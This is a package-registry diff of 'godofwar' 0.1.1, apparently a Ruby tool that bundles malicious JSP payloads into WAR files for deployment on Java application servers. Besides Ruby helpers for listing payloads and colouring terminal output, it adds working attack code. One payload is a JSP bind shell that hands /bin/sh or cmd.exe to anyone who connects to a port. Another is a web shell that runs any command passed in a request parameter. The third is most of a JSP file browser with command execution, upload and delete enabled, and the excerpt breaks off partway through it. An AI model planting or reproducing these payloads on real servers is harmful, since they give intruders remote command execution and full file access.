godofwar 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,29 @@
1
+ module GodOfWar
2
+ module Extensions
3
+ module Core
4
+ module String
5
+ def red; colorize(self, "\e[1m\e[31m"); end
6
+ def green; colorize(self, "\e[1m\e[32m"); end
7
+ def dark_green; colorize(self, "\e[32m"); end
8
+ def yellow; colorize(self, "\e[1m\e[33m"); end
9
+ def blue; colorize(self, "\e[1m\e[34m"); end
10
+ def dark_blue; colorize(self, "\e[34m"); end
11
+ def purple; colorize(self, "\e[35m"); end
12
+ def dark_purple; colorize(self, "\e[1;35m"); end
13
+ def cyan; colorize(self, "\e[1;36m"); end
14
+ def dark_cyan; colorize(self, "\e[36m"); end
15
+ def pure; colorize(self, "\e[0m\e[28m"); end
16
+ def underline; colorize(self, "\e[4m"); end
17
+ def bold; colorize(self, "\e[1m"); end
18
+ def tell; colorize(self, "[" + " ℹ " + "] "); end
19
+ def error; colorize(self, "[" + " ✖ ".red + "] "); end
20
+ def warn; colorize(self, "[" + " ! ".bold.yellow + "] "); end
21
+ def success; colorize(self, "[" + " ✔ ".dark_green + "] "); end
22
+ def step_success; colorize(self, " ✔ ".dark_green); end
23
+ def step_fail; colorize(self, " ✖ ".dark_green); end
24
+ def done; colorize(self, "[" + " ✔ ".green + "] "); end
25
+ def colorize(text, color_code) "#{color_code}#{text}\e[0m" end
26
+ end
27
+ end
28
+ end
29
+ end
@@ -0,0 +1,105 @@
1
+ #
2
+ # KING SABRI | @KINGSABRI
3
+ #
4
+
5
+ module GodOfWar
6
+ #
7
+ # All war internal operations
8
+ #
9
+ class Payloads
10
+
11
+ Payload = Struct.new(:name, :desc, :os, :conf, :url, :ref, :path)
12
+
13
+ # @!attribute [r] [String] payloads_home
14
+ # full path of the payloads home
15
+ # @!attribute [r] [Hash] payloads_db
16
+ # parsed content of 'payloads_info.json' which full information about available payloads
17
+ # @!attribute [r] [Array] payloads
18
+ # array of available payloads
19
+ # @!attribute [r] [Hash] info
20
+ # of information of the current payload
21
+ attr_reader :payloads_home, :payloads_db, :payloads, :info
22
+ # @!attribute [rw] payload [String]
23
+ # the current payload name
24
+ attr_accessor :payload
25
+
26
+ def initialize
27
+ @payloads_home =
28
+ File.absolute_path(
29
+ File.join('..', '..', '..', 'payloads'), __FILE__
30
+ )
31
+ @payloads_db =
32
+ JSON.parse(
33
+ File.read(
34
+ File.absolute_path(
35
+ File.join(@payloads_home, 'payloads_info.json')
36
+ )
37
+ )
38
+ )
39
+ end
40
+
41
+ # payloads_parse lists all payloads as [Payload] objects
42
+ #
43
+ # @return [Array<Payload>]
44
+ def payloads_parse
45
+ @payloads_db.map do |payload, info|
46
+ name = payload
47
+ desc = info["desc"]
48
+ os = info["os"]
49
+ conf = info["conf"]
50
+ url = info["url"]
51
+ ref = info["ref"]
52
+ path = File.absolute_path(File.join(@payloads_home, payload))
53
+ Payload.new(name, desc, os, conf, url, ref, path)
54
+ end
55
+ end
56
+
57
+ # Finds the payload from @payloads_db
58
+ #
59
+ # @param [String] payload
60
+ # payload name
61
+ #
62
+ # @return [Payload] object
63
+ def find_payload(payload)
64
+ payloads_parse.find{|pay| pay.name == payload}
65
+ end
66
+
67
+ #
68
+ # list_tree List all available payloads using folder name conversion
69
+ #
70
+ # @return [Array]
71
+ #
72
+ def list_tree
73
+ payloads_parse.map do |payload|
74
+ if payload.conf["true"]
75
+ payload.conf = payload.conf.values.first
76
+ else
77
+ payload.conf["false"] = 'No Settings required!'
78
+ end
79
+
80
+ "├── " + "#{payload.name}\n".bold +
81
+ "│   └── Information:\n" +
82
+ "│ ├── Description: #{payload.desc}\n" +
83
+ "│ ├── OS: #{payload.os}\n" +
84
+ "│ ├── Settings: #{payload.conf}\n" +
85
+ "│ ├── Usage: #{payload.url}\n" +
86
+ "│ ├── References: #{payload.ref}\n" +
87
+ "│ └── Local Path: #{payload.path}"
88
+ end
89
+ end
90
+ end
91
+ end
92
+
93
+ if __FILE__ == $0
94
+ require 'pp'
95
+ require_relative 'extensions'
96
+ include GodOfWar::Extensions::Core::String
97
+
98
+ # pp GodOfWar::Payloads::HOME
99
+ payloads = GodOfWar::Payloads.new
100
+ # pp payloads.payloads.map(&:name)
101
+ pp payload = payloads.payloads_db.find{|payload| payload.name == 'reverse_shell_ui'}#.first
102
+ pp payload.name
103
+ # puts payloads.list_payloads_tree
104
+ end
105
+
@@ -0,0 +1,48 @@
1
+ module GodOfWar
2
+ module Utils
3
+
4
+ # banner
5
+ def self.banner
6
+ <<~BANNER
7
+ .
8
+ hhh
9
+ hhhhhhh
10
+ hhhhhhhh
11
+ hhhhhhhh+
12
+ hhhhhhhh'
13
+ hhhhhhhh.
14
+ hhhhhhhhh
15
+ ..-- hhhhhhhhh
16
+ -sh/.. +. hhhhhhhhh:
17
+ /+/:-/+ss-` hhhhhhhhhh:
18
+ /MMM`ss:``.` hhhhhhhhhh:
19
+ .MMMMM: hhhhhhhhhhhhhhhhh:
20
+ MMMMMMM: hhhhhhhhhhhhhhhh:
21
+ MMMMMMMMMMMMM: hhhhhhhhhhhhhhhh`
22
+ :NNm:odh/oMMMNs. hhhhhhhhhhhhhhhh`
23
+ ./:`smdo+oos++- `++sNMMMMMNmh+
24
+ .-y-` ` :. / -dmddhhhhh-
25
+ o/- `//o/ /M/ `+hhhhhhhh`
26
+ /o :yosmy +y .`.hhhhhhhho
27
+ +` /../.: `.y::hhhhhs:`
28
+ ` `+yys` .sy` /oohhy:
29
+ `/:s/-`` `.hh`
30
+ ..` ` y+
31
+ .hNNmmNdymmmmds` :-
32
+ hs. ``.. :y- `
33
+ -hhmNmddm+ .
34
+ `NMMMMMMm
35
+ ` `oMMy
36
+ `. /Md- :o
37
+ MMMMMMMMMMMMMMMMMMM:
38
+ MMMMMMMMMMMMMMMMMM:
39
+ MMMMMMMMMMMMMMMMM
40
+ MMMMMMMMMMMMMMM.
41
+ `MMMMMMMMMMMMM.
42
+ :sNMMMNMdo:
43
+ ``+m:/-
44
+ `
45
+ BANNER
46
+ end
47
+ end
48
+ end
@@ -0,0 +1,3 @@
1
+ module GodOfWar
2
+ VERSION = "0.1.1"
3
+ end
@@ -0,0 +1,60 @@
1
+ <%@page import="java.lang.*"%>
2
+ <%@page import="java.util.*"%>
3
+ <%@page import="java.io.*"%>
4
+ <%@page import="java.net.*"%>
5
+
6
+ <%
7
+ class StreamConnector extends Thread
8
+ {
9
+ InputStream ca;
10
+ OutputStream sm;
11
+
12
+ StreamConnector( InputStream ca, OutputStream sm )
13
+ {
14
+ this.ca = ca;
15
+ this.sm = sm;
16
+ }
17
+
18
+ public void run()
19
+ {
20
+ BufferedReader ec = null;
21
+ BufferedWriter bcu = null;
22
+ try
23
+ {
24
+ ec = new BufferedReader( new InputStreamReader( this.ca ) );
25
+ bcu = new BufferedWriter( new OutputStreamWriter( this.sm ) );
26
+ char buffer[] = new char[8192];
27
+ int length;
28
+ while( ( length = ec.read( buffer, 0, buffer.length ) ) > 0 )
29
+ {
30
+ bcu.write( buffer, 0, length );
31
+ bcu.flush();
32
+ }
33
+ } catch( Exception e ){}
34
+ try
35
+ {
36
+ if( ec != null )
37
+ ec.close();
38
+ if( bcu != null )
39
+ bcu.close();
40
+ } catch( Exception e ){}
41
+ }
42
+ }
43
+
44
+ try
45
+ {
46
+ String ShellPath;
47
+ if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
48
+ ShellPath = new String("/bin/sh");
49
+ } else {
50
+ ShellPath = new String("cmd.exe");
51
+ }
52
+
53
+ ServerSocket server_socket = new ServerSocket( "PORTPORT" );
54
+ Socket client_socket = server_socket.accept();
55
+ server_socket.close();
56
+ Process process = Runtime.getRuntime().exec( ShellPath );
57
+ ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
58
+ ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
59
+ } catch( Exception e ) {}
60
+ %>
@@ -0,0 +1,28 @@
1
+ <%@ page import="java.util.*,java.io.*"%>
2
+ <%
3
+ %>
4
+ <HTML>
5
+ <BODY>
6
+ Commands with JSP
7
+ <FORM METHOD="GET" NAME="myform" ACTION="">
8
+ <INPUT TYPE="text" NAME="cmd">
9
+ <INPUT TYPE="submit" VALUE="Send">
10
+ </FORM>
11
+ <pre>
12
+ <%
13
+ if (request.getParameter("cmd") != null) {
14
+ out.println("Command: " + request.getParameter("cmd") + "<BR>");
15
+ Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
16
+ OutputStream os = p.getOutputStream();
17
+ InputStream in = p.getInputStream();
18
+ DataInputStream dis = new DataInputStream(in);
19
+ String disr = dis.readLine();
20
+ while ( disr != null ) {
21
+ out.println(disr);
22
+ disr = dis.readLine();
23
+ }
24
+ }
25
+ %>
26
+ </pre>
27
+ </BODY>
28
+ </HTML>
@@ -0,0 +1,50 @@
1
+ input.button { background-color: #EF9C00;
2
+ color: #8C5900;
3
+ border: 2px outset #EF9C00; }
4
+ input.button:Hover { color: #444444 }
5
+
6
+ input { background-color:#FDEBCF;
7
+ border: 2px inset #FDEBCF }
8
+
9
+ table.filelist { background-color:#FDE2B8;
10
+ width:100%;
11
+ border:3px solid #ffffff }
12
+ th { background-color:#BC001D;
13
+ font-size: 10pt;
14
+ color:#022F55 }
15
+
16
+ tr.mouseout { background-color:#F5BA5C; }
17
+ tr.mouseout td {border:1px solid #F5BA5C;}
18
+
19
+ tr.mousein { background-color:#EF9C00; }
20
+ tr.mousein td { border-top:1px solid #3399ff;
21
+ border-bottom:1px solid #3399FF;
22
+ border-left:1px solid #EF9C00;
23
+ border-right:1px solid #EF9C00; }
24
+ tr.checked { background-color:#B57600 }
25
+ tr.checked td {border:1px solid #B57600;}
26
+
27
+ tr.mousechecked { background-color:#8C5900 }
28
+ tr.mousechecked td {border:1px solid #8C5900;}
29
+
30
+ td { font-family:Verdana, Arial, Helvetica, sans-serif;
31
+ font-size: 7pt;
32
+ color: #FFF5E8; }
33
+
34
+ td.message { background-color: #FFFF00;
35
+ color: #000000;
36
+ text-align:center;
37
+ font-weight:bold }
38
+ .formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;}
39
+ .formular2 {margin: 1px;}
40
+
41
+ A { text-decoration: none;
42
+ color: #005073
43
+ }
44
+ A:Hover { color : #022F55;
45
+ text-decoration : underline; }
46
+ BODY { font-family:Verdana, Arial, Helvetica, sans-serif;
47
+ font-size: 8pt;
48
+ color: #666666;
49
+ background-color: #FDE2B8;
50
+ }
@@ -0,0 +1,1934 @@
1
+ <%--
2
+ jsp File browser 1.2
3
+ Copyright (C) 2003-2006 Boris von Loesch
4
+ This program is free software; you can redistribute it and/or modify it under
5
+ the terms of the GNU General Public License as published by the
6
+ Free Software Foundation; either version 2 of the License, or (at your option)
7
+ any later version.
8
+ This program is distributed in the hope that it will be useful, but
9
+ WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
10
+ FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
11
+ You should have received a copy of the GNU General Public License along with
12
+ this program; if not, write to the
13
+ Free Software Foundation, Inc.,
14
+ 59 Temple Place, Suite 330,
15
+ Boston, MA 02111-1307 USA
16
+ - Description: jsp File browser v1.2 -- This JSP program allows remote web-based
17
+ file access and manipulation. You can copy, create, move and delete files.
18
+ Text files can be edited and groups of files and folders can be downloaded
19
+ as a single zip file that's created on the fly.
20
+ - Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts
21
+ --%>
22
+ <%@page import="java.util.*,
23
+ java.net.*,
24
+ java.text.*,
25
+ java.util.zip.*,
26
+ java.io.*"
27
+ %>
28
+ <%!
29
+ //FEATURES
30
+ private static final boolean NATIVE_COMMANDS = true;
31
+ /**
32
+ *If true, all operations (besides upload and native commands)
33
+ *which change something on the file system are permitted
34
+ */
35
+ private static final boolean READ_ONLY = false;
36
+ //If true, uploads are allowed even if READ_ONLY = true
37
+ private static final boolean ALLOW_UPLOAD = true;
38
+
39
+ //Allow browsing and file manipulation only in certain directories
40
+ private static final boolean RESTRICT_BROWSING = false;
41
+ //If true, the user is allowed to browse only in RESTRICT_PATH,
42
+ //if false, the user is allowed to browse all directories besides RESTRICT_PATH
43
+ private static final boolean RESTRICT_WHITELIST = false;
44
+ //Paths, sperated by semicolon
45
+ //private static final String RESTRICT_PATH = "C:\\CODE;E:\\"; //Win32: Case important!!
46
+ private static final String RESTRICT_PATH = "/etc;/var";
47
+
48
+ //The refresh time in seconds of the upload monitor window
49
+ private static final int UPLOAD_MONITOR_REFRESH = 2;
50
+ //The number of colums for the edit field
51
+ private static final int EDITFIELD_COLS = 85;
52
+ //The number of rows for the edit field
53
+ private static final int EDITFIELD_ROWS = 30;
54
+ //Open a new window to view a file
55
+ private static final boolean USE_POPUP = true;
56
+ /**
57
+ * If USE_DIR_PREVIEW = true, then for every directory a tooltip will be
58
+ * created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries.
59
+ * This can yield to performance issues. Turn it off, if the directory loads to slow.
60
+ */
61
+ private static final boolean USE_DIR_PREVIEW = false;
62
+ private static final int DIR_PREVIEW_NUMBER = 10;
63
+ /**
64
+ * The name of an optional CSS Stylesheet file
65
+ */
66
+ private static final String CSS_NAME = "Browser.css";
67
+ /**
68
+ * The compression level for zip file creation (0-9)
69
+ * 0 = No compression
70
+ * 1 = Standard compression (Very fast)
71
+ * ...
72
+ * 9 = Best compression (Very slow)
73
+ */
74
+ private static final int COMPRESSION_LEVEL = 1;
75
+ /**
76
+ * The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the
77
+ * server runs on a windows platform, to avoid a message box, if you try to access
78
+ * an empty removable drive (See KNOWN BUGS in Readme.txt).
79
+ */
80
+ private static final String[] FORBIDDEN_DRIVES = {"a:\\"};
81
+
82
+ /**
83
+ * Command of the shell interpreter and the parameter to run a programm
84
+ */
85
+ private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
86
+ //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix
87
+
88
+ /**
89
+ * Max time in ms a process is allowed to run, before it will be terminated
90
+ */
91
+ private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds
92
+
93
+ //Button names
94
+ private static final String SAVE_AS_ZIP = "Download selected files as (z)ip";
95
+ private static final String RENAME_FILE = "(R)ename File";
96
+ private static final String DELETE_FILES = "(Del)ete selected files";
97
+ private static final String CREATE_DIR = "Create (D)ir";
98
+ private static final String CREATE_FILE = "(C)reate File";
99
+ private static final String MOVE_FILES = "(M)ove Files";
100
+ private static final String COPY_FILES = "Cop(y) Files";
101
+ private static final String LAUNCH_COMMAND = "(L)aunch external program";
102
+ private static final String UPLOAD_FILES = "Upload";
103
+
104
+ //Normally you should not change anything after this line
105
+ //----------------------------------------------------------------------------------
106
+ //Change this to locate the tempfile directory for upload (not longer needed)
107
+ private static String tempdir = ".";
108
+ private static String VERSION_NR = "1.2";
109
+ private static DateFormat dateFormat = DateFormat.getDateTimeInstance();
110
+
111
+ public class UplInfo {
112
+
113
+ public long totalSize;
114
+ public long currSize;
115
+ public long starttime;
116
+ public boolean aborted;
117
+
118
+ public UplInfo() {
119
+ totalSize = 0l;
120
+ currSize = 0l;
121
+ starttime = System.currentTimeMillis();
122
+ aborted = false;
123
+ }
124
+
125
+ public UplInfo(int size) {
126
+ totalSize = size;
127
+ currSize = 0;
128
+ starttime = System.currentTimeMillis();
129
+ aborted = false;
130
+ }
131
+
132
+ public String getUprate() {
133
+ long time = System.currentTimeMillis() - starttime;
134
+ if (time != 0) {
135
+ long uprate = currSize * 1000 / time;
136
+ return convertFileSize(uprate) + "/s";
137
+ }
138
+ else return "n/a";
139
+ }
140
+
141
+ public int getPercent() {
142
+ if (totalSize == 0) return 0;
143
+ else return (int) (currSize * 100 / totalSize);
144
+ }
145
+
146
+ public String getTimeElapsed() {
147
+ long time = (System.currentTimeMillis() - starttime) / 1000l;
148
+ if (time - 60l >= 0){
149
+ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
150
+ else return time / 60 + ":0" + (time % 60) + "m";
151
+ }
152
+ else return time<10 ? "0" + time + "s": time + "s";
153
+ }
154
+
155
+ public String getTimeEstimated() {
156
+ if (currSize == 0) return "n/a";
157
+ long time = System.currentTimeMillis() - starttime;
158
+ time = totalSize * time / currSize;
159
+ time /= 1000l;
160
+ if (time - 60l >= 0){
161
+ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
162
+ else return time / 60 + ":0" + (time % 60) + "m";
163
+ }
164
+ else return time<10 ? "0" + time + "s": time + "s";
165
+ }
166
+
167
+ }
168
+
169
+ public class FileInfo {
170
+
171
+ public String name = null, clientFileName = null, fileContentType = null;
172
+ private byte[] fileContents = null;
173
+ public File file = null;
174
+ public StringBuffer sb = new StringBuffer(100);
175
+
176
+ public void setFileContents(byte[] aByteArray) {
177
+ fileContents = new byte[aByteArray.length];
178
+ System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
179
+ }
180
+ }
181
+
182
+ public static class UploadMonitor {
183
+
184
+ static Hashtable uploadTable = new Hashtable();
185
+
186
+ static void set(String fName, UplInfo info) {
187
+ uploadTable.put(fName, info);
188
+ }
189
+
190
+ static void remove(String fName) {
191
+ uploadTable.remove(fName);
192
+ }
193
+
194
+ static UplInfo getInfo(String fName) {
195
+ UplInfo info = (UplInfo) uploadTable.get(fName);
196
+ return info;
197
+ }
198
+ }
199
+
200
+ // A Class with methods used to process a ServletInputStream
201
+ public class HttpMultiPartParser {
202
+
203
+ //private final String lineSeparator = System.getProperty("line.separator", "\n");
204
+ private final int ONE_MB = 1024 * 1;
205
+
206
+ public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
207
+ int clength) throws IllegalArgumentException, IOException {
208
+ if (is == null) throw new IllegalArgumentException("InputStream");
209
+ if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
210
+ "\"" + boundary + "\" is an illegal boundary indicator");
211
+ boundary = "--" + boundary;
212
+ StringTokenizer stLine = null, stFields = null;
213
+ FileInfo fileInfo = null;
214
+ Hashtable dataTable = new Hashtable(5);
215
+ String line = null, field = null, paramName = null;
216
+ boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
217
+ boolean isFile = false;
218
+ if (saveFiles) { // Create the required directory (including parent dirs)
219
+ File f = new File(saveInDir);
220
+ f.mkdirs();
221
+ }
222
+ line = getLine(is);
223
+ if (line == null || !line.startsWith(boundary)) throw new IOException(
224
+ "Boundary not found; boundary = " + boundary + ", line = " + line);
225
+ while (line != null) {
226
+ if (line == null || !line.startsWith(boundary)) return dataTable;
227
+ line = getLine(is);
228
+ if (line == null) return dataTable;
229
+ stLine = new StringTokenizer(line, ";\r\n");
230
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
231
+ "Bad data in second line");
232
+ line = stLine.nextToken().toLowerCase();
233
+ if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
234
+ "Bad data in second line");
235
+ stFields = new StringTokenizer(stLine.nextToken(), "=\"");
236
+ if (stFields.countTokens() < 2) throw new IllegalArgumentException(
237
+ "Bad data in second line");
238
+ fileInfo = new FileInfo();
239
+ stFields.nextToken();
240
+ paramName = stFields.nextToken();
241
+ isFile = false;
242
+ if (stLine.hasMoreTokens()) {
243
+ field = stLine.nextToken();
244
+ stFields = new StringTokenizer(field, "=\"");
245
+ if (stFields.countTokens() > 1) {
246
+ if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
247
+ fileInfo.name = paramName;
248
+ String value = stFields.nextToken();
249
+ if (value != null && value.trim().length() > 0) {
250
+ fileInfo.clientFileName = value;
251
+ isFile = true;
252
+ }
253
+ else {
254
+ line = getLine(is); // Skip "Content-Type:" line
255
+ line = getLine(is); // Skip blank line
256
+ line = getLine(is); // Skip blank line
257
+ line = getLine(is); // Position to boundary line
258
+ continue;
259
+ }
260
+ }
261
+ }
262
+ else if (field.toLowerCase().indexOf("filename") >= 0) {
263
+ line = getLine(is); // Skip "Content-Type:" line
264
+ line = getLine(is); // Skip blank line
265
+ line = getLine(is); // Skip blank line
266
+ line = getLine(is); // Position to boundary line
267
+ continue;
268
+ }
269
+ }
270
+ boolean skipBlankLine = true;
271
+ if (isFile) {
272
+ line = getLine(is);
273
+ if (line == null) return dataTable;
274
+ if (line.trim().length() < 1) skipBlankLine = false;
275
+ else {
276
+ stLine = new StringTokenizer(line, ": ");
277
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
278
+ "Bad data in third line");
279
+ stLine.nextToken(); // Content-Type
280
+ fileInfo.fileContentType = stLine.nextToken();
281
+ }
282
+ }
283
+ if (skipBlankLine) {
284
+ line = getLine(is);
285
+ if (line == null) return dataTable;
286
+ }
287
+ if (!isFile) {
288
+ line = getLine(is);
289
+ if (line == null) return dataTable;
290
+ dataTable.put(paramName, line);
291
+ // If parameter is dir, change saveInDir to dir
292
+ if (paramName.equals("dir")) saveInDir = line;
293
+ line = getLine(is);
294
+ continue;
295
+ }
296
+ try {
297
+ UplInfo uplInfo = new UplInfo(clength);
298
+ UploadMonitor.set(fileInfo.clientFileName, uplInfo);
299
+ OutputStream os = null;
300
+ String path = null;
301
+ if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
302
+ fileInfo.clientFileName));
303
+ else os = new ByteArrayOutputStream(ONE_MB);
304
+ boolean readingContent = true;
305
+ byte previousLine[] = new byte[2 * ONE_MB];
306
+ byte temp[] = null;
307
+ byte currentLine[] = new byte[2 * ONE_MB];
308
+ int read, read3;
309
+ if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
310
+ line = null;
311
+ break;
312
+ }
313
+ while (readingContent) {
314
+ if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
315
+ line = null;
316
+ uplInfo.aborted = true;
317
+ break;
318
+ }
319
+ if (compareBoundary(boundary, currentLine)) {
320
+ os.write(previousLine, 0, read - 2);
321
+ line = new String(currentLine, 0, read3);
322
+ break;
323
+ }
324
+ else {
325
+ os.write(previousLine, 0, read);
326
+ uplInfo.currSize += read;
327
+ temp = currentLine;
328
+ currentLine = previousLine;
329
+ previousLine = temp;
330
+ read = read3;
331
+ }//end else
332
+ }//end while
333
+ os.flush();
334
+ os.close();
335
+ if (!saveFiles) {
336
+ ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
337
+ fileInfo.setFileContents(baos.toByteArray());
338
+ }
339
+ else fileInfo.file = new File(path);
340
+ dataTable.put(paramName, fileInfo);
341
+ uplInfo.currSize = uplInfo.totalSize;
342
+ }//end try
343
+ catch (IOException e) {
344
+ throw e;
345
+ }
346
+ }
347
+ return dataTable;
348
+ }
349
+
350
+ /**
351
+ * Compares boundary string to byte array
352
+ */
353
+ private boolean compareBoundary(String boundary, byte ba[]) {
354
+ if (boundary == null || ba == null) return false;
355
+ for (int i = 0; i < boundary.length(); i++)
356
+ if ((byte) boundary.charAt(i) != ba[i]) return false;
357
+ return true;
358
+ }
359
+
360
+ /** Convenience method to read HTTP header lines */
361
+ private synchronized String getLine(ServletInputStream sis) throws IOException {
362
+ byte b[] = new byte[1024];
363
+ int read = sis.readLine(b, 0, b.length), index;
364
+ String line = null;
365
+ if (read != -1) {
366
+ line = new String(b, 0, read);
367
+ if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
368
+ }
369
+ return line;
370
+ }
371
+
372
+ public String getFileName(String dir, String fileName) throws IllegalArgumentException {
373
+ String path = null;
374
+ if (dir == null || fileName == null) throw new IllegalArgumentException(
375
+ "dir or fileName is null");
376
+ int index = fileName.lastIndexOf('/');
377
+ String name = null;
378
+ if (index >= 0) name = fileName.substring(index + 1);
379
+ else name = fileName;
380
+ index = name.lastIndexOf('\\');
381
+ if (index >= 0) fileName = name.substring(index + 1);
382
+ path = dir + File.separator + fileName;
383
+ if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
384
+ else return path.replace('/', File.separatorChar);
385
+ }
386
+ } //End of class HttpMultiPartParser
387
+
388
+ /**
389
+ * This class is a comparator to sort the filenames and dirs
390
+ */
391
+ class FileComp implements Comparator {
392
+
393
+ int mode;
394
+ int sign;
395
+
396
+ FileComp() {
397
+ this.mode = 1;
398
+ this.sign = 1;
399
+ }
400
+
401
+ /**
402
+ * @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type
403
+ * The default sorting method is by Name
404
+ * Negative mode means descending sort
405
+ */
406
+ FileComp(int mode) {
407
+ if (mode < 0) {
408
+ this.mode = -mode;
409
+ sign = -1;
410
+ }
411
+ else {
412
+ this.mode = mode;
413
+ this.sign = 1;
414
+ }
415
+ }
416
+
417
+ public int compare(Object o1, Object o2) {
418
+ File f1 = (File) o1;
419
+ File f2 = (File) o2;
420
+ if (f1.isDirectory()) {
421
+ if (f2.isDirectory()) {
422
+ switch (mode) {
423
+ //Filename or Type
424
+ case 1:
425
+ case 4:
426
+ return sign
427
+ * f1.getAbsolutePath().toUpperCase().compareTo(
428
+ f2.getAbsolutePath().toUpperCase());
429
+ //Filesize
430
+ case 2:
431
+ return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
432
+ //Date
433
+ case 3:
434
+ return sign
435
+ * (new Long(f1.lastModified())
436
+ .compareTo(new Long(f2.lastModified())));
437
+ default:
438
+ return 1;
439
+ }
440
+ }
441
+ else return -1;
442
+ }
443
+ else if (f2.isDirectory()) return 1;
444
+ else {
445
+ switch (mode) {
446
+ case 1:
447
+ return sign
448
+ * f1.getAbsolutePath().toUpperCase().compareTo(
449
+ f2.getAbsolutePath().toUpperCase());
450
+ case 2:
451
+ return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
452
+ case 3:
453
+ return sign
454
+ * (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())));
455
+ case 4: { // Sort by extension
456
+ int tempIndexf1 = f1.getAbsolutePath().lastIndexOf('.');
457
+ int tempIndexf2 = f2.getAbsolutePath().lastIndexOf('.');
458
+ if ((tempIndexf1 == -1) && (tempIndexf2 == -1)) { // Neither have an extension
459
+ return sign
460
+ * f1.getAbsolutePath().toUpperCase().compareTo(
461
+ f2.getAbsolutePath().toUpperCase());
462
+ }
463
+ // f1 has no extension
464
+ else if (tempIndexf1 == -1) return -sign;
465
+ // f2 has no extension
466
+ else if (tempIndexf2 == -1) return sign;
467
+ // Both have an extension
468
+ else {
469
+ String tempEndf1 = f1.getAbsolutePath().toUpperCase()
470
+ .substring(tempIndexf1);
471
+ String tempEndf2 = f2.getAbsolutePath().toUpperCase()
472
+ .substring(tempIndexf2);
473
+ return sign * tempEndf1.compareTo(tempEndf2);
474
+ }
475
+ }
476
+ default:
477
+ return 1;
478
+ }
479
+ }
480
+ }
481
+ }
482
+
483
+ /**
484
+ * Wrapperclass to wrap an OutputStream around a Writer
485
+ */
486
+ class Writer2Stream extends OutputStream {
487
+
488
+ Writer out;
489
+
490
+ Writer2Stream(Writer w) {
491
+ super();
492
+ out = w;
493
+ }
494
+
495
+ public void write(int i) throws IOException {
496
+ out.write(i);
497
+ }
498
+
499
+ public void write(byte[] b) throws IOException {
500
+ for (int i = 0; i < b.length; i++) {
501
+ int n = b[i];
502
+ //Convert byte to ubyte
503
+ n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
504
+ out.write(n);
505
+ }
506
+ }
507
+
508
+ public void write(byte[] b, int off, int len) throws IOException {
509
+ for (int i = off; i < off + len; i++) {
510
+ int n = b[i];
511
+ n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
512
+ out.write(n);
513
+ }
514
+ }
515
+ } //End of class Writer2Stream
516
+
517
+ static Vector expandFileList(String[] files, boolean inclDirs) {
518
+ Vector v = new Vector();
519
+ if (files == null) return v;
520
+ for (int i = 0; i < files.length; i++)
521
+ v.add(new File(URLDecoder.decode(files[i])));
522
+ for (int i = 0; i < v.size(); i++) {
523
+ File f = (File) v.get(i);
524
+ if (f.isDirectory()) {
525
+ File[] fs = f.listFiles();
526
+ for (int n = 0; n < fs.length; n++)
527
+ v.add(fs[n]);
528
+ if (!inclDirs) {
529
+ v.remove(i);
530
+ i--;
531
+ }
532
+ }
533
+ }
534
+ return v;
535
+ }
536
+
537
+ /**
538
+ * Method to build an absolute path
539
+ * @param dir the root dir
540
+ * @param name the name of the new directory
541
+ * @return if name is an absolute directory, returns name, else returns dir+name
542
+ */
543
+ static String getDir(String dir, String name) {
544
+ if (!dir.endsWith(File.separator)) dir = dir + File.separator;
545
+ File mv = new File(name);
546
+ String new_dir = null;
547
+ if (!mv.isAbsolute()) {
548
+ new_dir = dir + name;
549
+ }
550
+ else new_dir = name;
551
+ return new_dir;
552
+ }
553
+
554
+ /**
555
+ * This Method converts a byte size in a kbytes or Mbytes size, depending on the size
556
+ * @param size The size in bytes
557
+ * @return String with size and unit
558
+ */
559
+ static String convertFileSize(long size) {
560
+ int divisor = 1;
561
+ String unit = "bytes";
562
+ if (size >= 1024 * 1024) {
563
+ divisor = 1024 * 1024;
564
+ unit = "MB";
565
+ }
566
+ else if (size >= 1024) {
567
+ divisor = 1024;
568
+ unit = "KB";
569
+ }
570
+ if (divisor == 1) return size / divisor + " " + unit;
571
+ String aftercomma = "" + 100 * (size % divisor) / divisor;
572
+ if (aftercomma.length() == 1) aftercomma = "0" + aftercomma;
573
+ return size / divisor + "." + aftercomma + " " + unit;
574
+ }
575
+
576
+ /**
577
+ * Copies all data from in to out
578
+ * @param in the input stream
579
+ * @param out the output stream
580
+ * @param buffer copy buffer
581
+ */
582
+ static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException {
583
